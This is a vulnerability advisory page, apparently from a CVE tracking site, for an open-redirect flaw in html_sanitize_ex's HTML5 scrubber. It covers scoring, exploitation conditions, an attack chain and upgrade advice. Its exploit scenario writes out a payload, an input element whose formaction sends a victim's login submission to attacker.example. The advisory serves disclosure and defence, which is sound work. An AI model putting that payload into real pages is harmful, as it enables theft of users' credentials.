Skip to main content

html_sanitize_ex CVE-2026-66370

| EUVDEUVD-2026-54081 MEDIUM
URL Redirection to Untrusted Site (Open Redirect) (CWE-601)
2026-08-06 EEF GHSA-r8xc-fmjg-37c5
4.8
CVSS 4.0 · Vendor: EEF
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify page rendering user-supplied HTML via html_sanitize_ex HTML5 scrubber
  2. Delivery
    Locate existing page form with known id attribute
  3. Exploit
    Inject input element with form and formaction attributes pointing to attacker endpoint
  4. Execution
    Victim views page and clicks submit
  5. Persist
    Browser associates injected input with legitimate form, routes submission to attacker URL
  6. Impact
    Attacker captures submitted credentials or sensitive form data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V3 - Web Frontend Security Redirect URL validation
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three specific conditions must simultaneously be true for exploitation to succeed: (1) the target application must embed user-controlled HTML that has been processed through html_sanitize_ex's HTML5 scrubber at a version between 0.3.1 and 1.5.2 - more restrictive scrubber presets are not affected; (2) the page rendering the sanitized HTML must already contain at least one <form> element with a known or guessable id attribute accessible to the injected content - the scrubber blocks <form> element insertion, so the attacker cannot introduce their own form; and (3) the victim user must actively submit the form (CVSS UI:A), meaning passive page-load exposure alone does not trigger the attack. The CVSS AT:P metric explicitly confirms this topology dependency. No authentication is required of the attacker (PR:N). The attack produces no script execution and leaves no server-side trace on the vulnerable application, since the submission is rerouted at the browser level.

Impact

The CVSS 4.0 score of 4.8 with vector AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N correctly reflects the key risk profile: AT:P flags the prerequisite deployment condition (a page-resident form with a predictable id), and UI:A captures the required victim interaction (form submission). Critically, the vulnerable system itself records no direct C/I/A impact - harm manifests in the subsequent system (the victim's credential transmission) at SC:H, indicating high confidentiality impact where credentials can be fully captured. Real-world risk is constrained by two hard prerequisites that must coincide: the target application must render attacker-influenced HTML through the html_sanitize_ex HTML5 scrubber, and the embedding page must already expose a form with a guessable id. Applications using more restrictive scrubber presets (BasicHTML, StripTags) are not affected. There is no KEV listing, no known POC, and no EPSS score in the provided data, reinforcing that this is a theoretically well-defined but practically conditional attack rather than a broadly exploitable, high-urgency issue. The absence of scripting requirements does reduce some defensive barriers, but the page-topology dependency meaningfully narrows the exploitable surface.

Exploit ScenarioDerived

An attacker who can inject HTML into a page (e.g., via a user profile field, comment, or rich-text editor) injects a payload such as <input form='login-form' formaction='https://attacker.example/collect' type='submit' value='Log In'>. If the target page already contains <form id='login-form' action='/login'> with credential fields, a victim clicking the injected submit button causes the browser to associate the rogue input with the legitimate form and redirect the full submission - username and password - to the attacker's endpoint instead of the application server. No public proof-of-concept has been identified; however, the technique requires only standard HTML knowledge and no scripting capability.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 06, 2026

html_sanitize_ex's HTML5 scrubber (versions 0.3.1 through 1.5.2) permits the form and formaction attributes to survive sanitization on <input> elements, enabling unauthenticated remote attackers to silently hijack existing page forms and redirect victim submissions - including credentials - to an attacker-controlled endpoint. The attack exploits HTML's native form association model (no script required), but succeeds only when the rendering page already contains a form with a known or guessable id attribute. No active exploitation or CISA KEV listing has been identified at time of analysis, and no EPSS score was included in source data.

RemediationAI

Upgrade html_sanitize_ex to version 1.5.3 or later, which removes form, formaction, formenctype, formmethod, formnovalidate, and formtarget from the HTML5 scrubber's allowlist, as documented in patch commit a1e804ed997e780ea71d14393cf2f701330553a6 and the vendor advisory at https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-w3f9-jjhw-wwvq. For applications unable to upgrade immediately, audit all pages that render html_sanitize_ex-processed user content and eliminate any <form> elements with predictable id attributes on those specific pages - this removes the page-resident anchor required for exploitation and carries no functional side effect for most applications. A second interim option is to post-process scrubber output to strip form and formaction attributes before rendering; this adds a maintenance dependency on a custom filter but is straightforward to implement. Retaining these attributes in sanitized HTML serves no legitimate use case, so upgrading carries no functional regression.

Affected VersionsENISA

html_sanitize_ex 0.3.1 <1.5.3
html_sanitize_ex 8976d64ea0b77d26093a94a43ec48a3978e8d028 <a1e804ed997e780ea71d14393cf2f701330553a6

Affected Packages

euvd html_sanitize_ex fix: 1.5.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

html_sanitize_ex is an Elixir HTML sanitization library (CPE: cpe:2.3:a:rrrene:html_sanitize_ex) offering multiple scrubber presets; the HTML5 scrubber is its broadest allowlist. The root cause (CWE-601, URL Redirection to Untrusted Site) is an incomplete attribute denylist: prior to 1.5.3, the scrubber explicitly permitted form, formaction, formenctype, formmethod, formnovalidate, and formtarget attributes on <input> elements without performing any scheme or origin validation. HTML's form association mechanism allows an <input form='target-id'> placed anywhere in the DOM to participate in a separate <form id='target-id'> regardless of DOM position; formaction on a submit control then overrides that form's action URL with an arbitrary absolute cross-origin URL. The scrubber correctly blocked <form> and <button> element insertion, preventing an attacker from introducing a self-contained phishing form, but the attribute-level bypass on <input> remained exploitable as long as the rendering page already contained a victim form. The fix at commit a1e804ed removes all six form-override attributes from the allowlist across multiple element definitions in lib/html_sanitize_ex/scrubber/html5.ex.

Know when Open Redirect gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (EEF) PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
vuln.today AI 6.9 MEDIUM

AC:H reflects the hard prerequisite of a page-resident form with a guessable id; S:C and C:H capture credential exfiltration to an attacker-controlled subsequent endpoint.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

Primary rating from Vendor (EEF).

CVSS VectorVendor: EEF

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

URL Redirection to Untrusted Site ('Open Redirect') vulnerability in the HTML5 scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to retarget a form already on the rendering page and receive whatever the victim submits, including credentials, via the form and formaction attributes on an <input> element in sanitized HTML. HTML's form attribute associates an input with any form on the page by its id even when the input sits outside that form, and formaction on a submit control overrides the owning form's action. Neither attribute receives a scheme check, so an absolute cross-origin URL survives sanitizing.

No script executes. The scrubber allows neither form nor button, so the attacker cannot introduce a form of their own and the rendering page must already contain a form carrying an id.

This issue affects html_sanitize_ex: from 0.3.1 before 1.5.3.

Threat Intelligence Overview

EPSS Score
0.4%
Top 71% exploitable
Prevalence
Low
niche Elixir ecosystem library, limited production footprint
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0
CVE-2017-1000117 HIGH POC
8.8 Oct 05

A malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL ca

CVE-2024-52875 HIGH POC
8.8 Jan 31

GFI Kerio Control versions 9.2.5 through 9.4.5 contain an HTTP response splitting vulnerability in the dest parameter of

CVE-2016-5385 HIGH POC
8.1 Jul 19

PHP through 7.0.8 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect

CVE-2013-2248 MEDIUM POC
5.8 Jul 20

Multiple open redirect vulnerabilities in Apache Struts 2.0.0 through 2.3.15 allow remote attackers to redirect users to

CVE-2018-11784 MEDIUM POC
4.3 Oct 04

When the default servlet in Apache Tomcat versions 9.0.0.M1 to 9.0.11, 8.5.0 to 8.5.33 and 7.0.23 to 7.0.90 returned a r

CVE-2022-45402 MEDIUM
6.1 Nov 15

In Apache Airflow versions prior to 2.4.3, there was an open redirect in the webserver's `/login` endpoint. Rated medium

CVE-2012-6499 MEDIUM POC
5.8 Jan 12

Open redirect vulnerability in age-verification.php in the Age Verification plugin 0.4 and earlier for WordPress allows

CVE-2015-2863 MEDIUM POC
4.3 Jul 20

Open redirect vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 b

CVE-2017-3528 MEDIUM POC
5.4 Apr 24

Vulnerability in the Oracle Applications Framework component of Oracle E-Business Suite (subcomponent: Popup windows (li

CVE-2012-0518 MEDIUM
4.7 Oct 16

Unspecified vulnerability in the Oracle Application Server Single Sign-On component in Oracle Fusion Middleware 10.1.4.3

CVE-2024-21641 MEDIUM POC
6.5 Jan 05

Flarum is open source discussion platform software. Rated medium severity (CVSS 6.5), this vulnerability is remotely exp

CVE-2015-5354 MEDIUM POC
5.8 Jul 01

Open redirect vulnerability in Novius OS 5.0.1 (Elche) allows remote attackers to redirect users to arbitrary web sites

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy